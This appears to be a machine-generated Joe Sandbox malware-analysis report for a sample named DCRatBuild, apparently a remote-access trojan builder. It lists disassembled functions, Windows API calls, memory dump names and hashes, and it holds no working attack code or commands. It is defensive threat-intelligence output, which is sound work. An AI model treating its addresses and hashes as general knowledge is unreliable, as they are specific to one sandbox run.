Instruction ID: 307cb298e530a01297ee442900e40ab066d96b8c28b0afcb725bd927f4e9627d
Opcode Fuzzy Hash: 424402ce5bca5df051ba271f986fa65608aa8acb94015cde56257a71d97175f1
Instruction Fuzzy Hash: B001DC30801680DAD725EBB8C0817DDFBA4DF2530CF50808FA45A53282CBB82B08D7AB

Function 0049A56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0049A69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0049A592,000000FF,?,?), ref: 0049A6C4
Part of subcall function 0049A69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0049A592,000000FF,?,?), ref: 0049A6F2
Part of subcall function 0049A69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0049A592,000000FF,?,?), ref: 0049A6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0049A598

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: c79349752ce5389a10a8b49364b6865a4a71426b68d5b8290853dd400da02ccf
Instruction ID: 90491fbd6662807a8989ba9ac030b145cc663bd579e1d69a4da2a4d41878a468
Opcode Fuzzy Hash: c79349752ce5389a10a8b49364b6865a4a71426b68d5b8290853dd400da02ccf
Instruction Fuzzy Hash: A7F0E931008390AACF6257B44904BC77FE05F15335F04CA5FF0FD12196C27910A48BA7

Function 004A0E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 004A0E3D

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: b117dc679f55a8d6b1e7f479dbdde388a70906eefc05d17154357b90c11e01e6
Instruction ID: 7b757ce1be3e1b2a37e6295f32899103eb51526fba645c5a4d7eb5f232ce8e40
Opcode Fuzzy Hash: b117dc679f55a8d6b1e7f479dbdde388a70906eefc05d17154357b90c11e01e6
Instruction Fuzzy Hash: EED0C21160105426DE22332A2815BFF2A068FEB329F0D003BB54A5B6A7CA4C0882A27E

Function 004AA626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 004AA62C

Part of subcall function 004AA3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 004AA3DA

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: b27898bb6229198e456b8905366f3800063eb6dce678ab7ca55b1461776ea0da
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: EFD0A73020020877DF01AB228D0296E7595EB22344F008027BC82C5141EBB6D920D66B

Function 004ADD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,004A1B3E), ref: 004ADD92

Part of subcall function 004AB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004AB579
Part of subcall function 004AB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004AB58A
Part of subcall function 004AB568: IsDialogMessageW.USER32(00010422,?), ref: 004AB59E
Part of subcall function 004AB568: TranslateMessage.USER32(?), ref: 004AB5AC
Part of subcall function 004AB568: DispatchMessageW.USER32(?), ref: 004AB5B6

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 466734a6050365deed3c95483fada1b22f829e8ce4a9b077f603324e6dd2f2f9
Instruction ID: a3f6301daa7ea548014cbfc9421ca3b82c282766e12ac6b9613dd3f9afe0d89a
Opcode Fuzzy Hash: 466734a6050365deed3c95483fada1b22f829e8ce4a9b077f603324e6dd2f2f9
Instruction Fuzzy Hash: F6D09E32144300BAD6012B52CE06F1A7AA2EB99B09F404599B284740B186729D31DB19

Function 004AE5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 004AE5E3

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: ad15f85b80ce200ef7359652751ab9966a7a2bd290bdd55984640c0b6ac7146a
Instruction ID: d2f3efebc51976db5ed18332f3fb920d5da7fbd7dfa8fb4e7fa5fae07bfce0d9
Opcode Fuzzy Hash: ad15f85b80ce200ef7359652751ab9966a7a2bd290bdd55984640c0b6ac7146a
Instruction Fuzzy Hash: BED0C774580180DAD605EB97A88576532547336704FD00517F26591561D66C4491C70D

Function 004998BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,004997BE), ref: 004998C8

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: f1160e479780cf0632f6cb43d06a13d48309ec497647cdb95e3e1e32a739dbf1
Instruction ID: f82bd79046fce0176d76b98e24919742dff970aa88a98cc5086600496d4d2e30
Opcode Fuzzy Hash: f1160e479780cf0632f6cb43d06a13d48309ec497647cdb95e3e1e32a739dbf1
Instruction Fuzzy Hash: A9C01234410105858F60EA2898440967B11AA533667B486BDC028851A1D326CC4BEA04

Function 004AE44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE3FC

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9ff7461893d18f697e13260c3873452ddb8a7842aa7109c9d02bcf622ababc81
Instruction ID: 5ac416f7462c6813b0a5860740a5e77690287a5a1212e9d21cfc171ad3bf34b1
Opcode Fuzzy Hash: 9ff7461893d18f697e13260c3873452ddb8a7842aa7109c9d02bcf622ababc81
Instruction Fuzzy Hash: 85B012E6358000BC3184A1071D02E37020CC1D7B15330C02FFD28C60C4DC4C4C05063F

Function 004AE419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE3FC

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ffe1b6e1131de524be6166dad6d9171db1f1f618bd7e6e2f256d3a1a4760f17e
Instruction ID: 1f14a716a26eb3d06206faaa0bb212d9c21a7b73ffa80c51151dabee4d0a318c
Opcode Fuzzy Hash: ffe1b6e1131de524be6166dad6d9171db1f1f618bd7e6e2f256d3a1a4760f17e
Instruction Fuzzy Hash: CDB012E53580007C318461071E02E37020CC1D7B15330C02FFA28C60C4DC4C0C0A063F

Function 004AE423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE3FC

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 491b81a5b05e451922fee76e71e648b2f94a2efe125fa4dbd82e1b761e929e01
Instruction ID: b6734cf9ff7e59625239c99804599aeaaf4ce19fa62aed521e83a182d1217387
Opcode Fuzzy Hash: 491b81a5b05e451922fee76e71e648b2f94a2efe125fa4dbd82e1b761e929e01
Instruction Fuzzy Hash: 7AB092A5258000BC2144A1065902E370208C196B15330C02FF828C6085D84C4A01063F

Function 004AE3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE3FC

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 375947cc706391214d907e966c4379b124777291110c11dea190b0b6b24522ac
Instruction ID: dcec842289d0d85fbdda975705b0c3dc41928361a4fe9abe6aea359aee9e356f
Opcode Fuzzy Hash: 375947cc706391214d907e966c4379b124777291110c11dea190b0b6b24522ac
Instruction Fuzzy Hash: 5CA011EA2A80023C300822032E02E3B020CC0E2B28330802FF838AA0C0AC8C08020A3F

Function 004AE446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE3FC

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ee146279d84b6e11ac65e4ead98385b2130499bdb9a82b60cd7dac215c04e91e
Instruction ID: b3c323eed7e345ba9ef012b06f801bad2978525c71b7627a435c07b733dad215
Opcode Fuzzy Hash: ee146279d84b6e11ac65e4ead98385b2130499bdb9a82b60cd7dac215c04e91e
Instruction Fuzzy Hash: D2A012E52580017C300421031D02D37020CC0D6B14330841FF825850C0584C0801053F

Function 004AE40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE3FC

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: babbdede5e4478322212316f4d838277884bc23fae31aaece6901b5097e9e11c
Instruction ID: b3c323eed7e345ba9ef012b06f801bad2978525c71b7627a435c07b733dad215
Opcode Fuzzy Hash: babbdede5e4478322212316f4d838277884bc23fae31aaece6901b5097e9e11c
Instruction Fuzzy Hash: D2A012E52580017C300421031D02D37020CC0D6B14330841FF825850C0584C0801053F

Function 004AE414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE3FC

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f7dc657e0dd5a82482c082f178a03d8f1eb654bccff4d2ea5b3ccc523ff426f1
Instruction ID: b3c323eed7e345ba9ef012b06f801bad2978525c71b7627a435c07b733dad215
Opcode Fuzzy Hash: f7dc657e0dd5a82482c082f178a03d8f1eb654bccff4d2ea5b3ccc523ff426f1
Instruction Fuzzy Hash: D2A012E52580017C300421031D02D37020CC0D6B14330841FF825850C0584C0801053F

Function 004AE43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE3FC

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a013c592a3a978f548a681e9255e6636b1c2bf249d7a0e44480fc0d738bdbcb1
Instruction ID: b3c323eed7e345ba9ef012b06f801bad2978525c71b7627a435c07b733dad215
Opcode Fuzzy Hash: a013c592a3a978f548a681e9255e6636b1c2bf249d7a0e44480fc0d738bdbcb1
Instruction Fuzzy Hash: D2A012E52580017C300421031D02D37020CC0D6B14330841FF825850C0584C0801053F

Function 004AE432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE3FC

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d955060c99da30b1258b6df82087732124e82987371cbc74c255a7c10e162263
Instruction ID: b3c323eed7e345ba9ef012b06f801bad2978525c71b7627a435c07b733dad215
Opcode Fuzzy Hash: d955060c99da30b1258b6df82087732124e82987371cbc74c255a7c10e162263
Instruction Fuzzy Hash: D2A012E52580017C300421031D02D37020CC0D6B14330841FF825850C0584C0801053F

Function 00499F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,0049903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00499F0C

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: c631552f5ac040aa239e5822e9896132178bdabebed8fb007472e924367804ad
Instruction ID: 288868d586d2c5609ff8965e305f86cbc537c035a37c4c37e1bb6c10b53ad084
Opcode Fuzzy Hash: c631552f5ac040aa239e5822e9896132178bdabebed8fb007472e924367804ad
Instruction Fuzzy Hash: AFA0243004000D47CD401F31CD0444C3710F7117C130041F45007CF071C7134407C704

Function 004AAC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,004AAE72,C:\Users\user\Desktop,00000000,004D946A,00000006), ref: 004AAC08

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 8c3a17734934ad4c7b9d5ceab28aef7d936e35d301e786b41fb7e925bb7ba741
Instruction ID: ad1080f3e12bf685c1d356fe28db6fa8d3527fe9a85c75ac8f50124465a949d9
Opcode Fuzzy Hash: 8c3a17734934ad4c7b9d5ceab28aef7d936e35d301e786b41fb7e925bb7ba741
Instruction Fuzzy Hash: AEA011302002008B82802F328F0AA0EBAAAAFA2B02F08C038A08080030CB30C820AA08

Function 00499620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,004995D6,?,?,?,?,?,004C2641,000000FF), ref: 0049963B

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
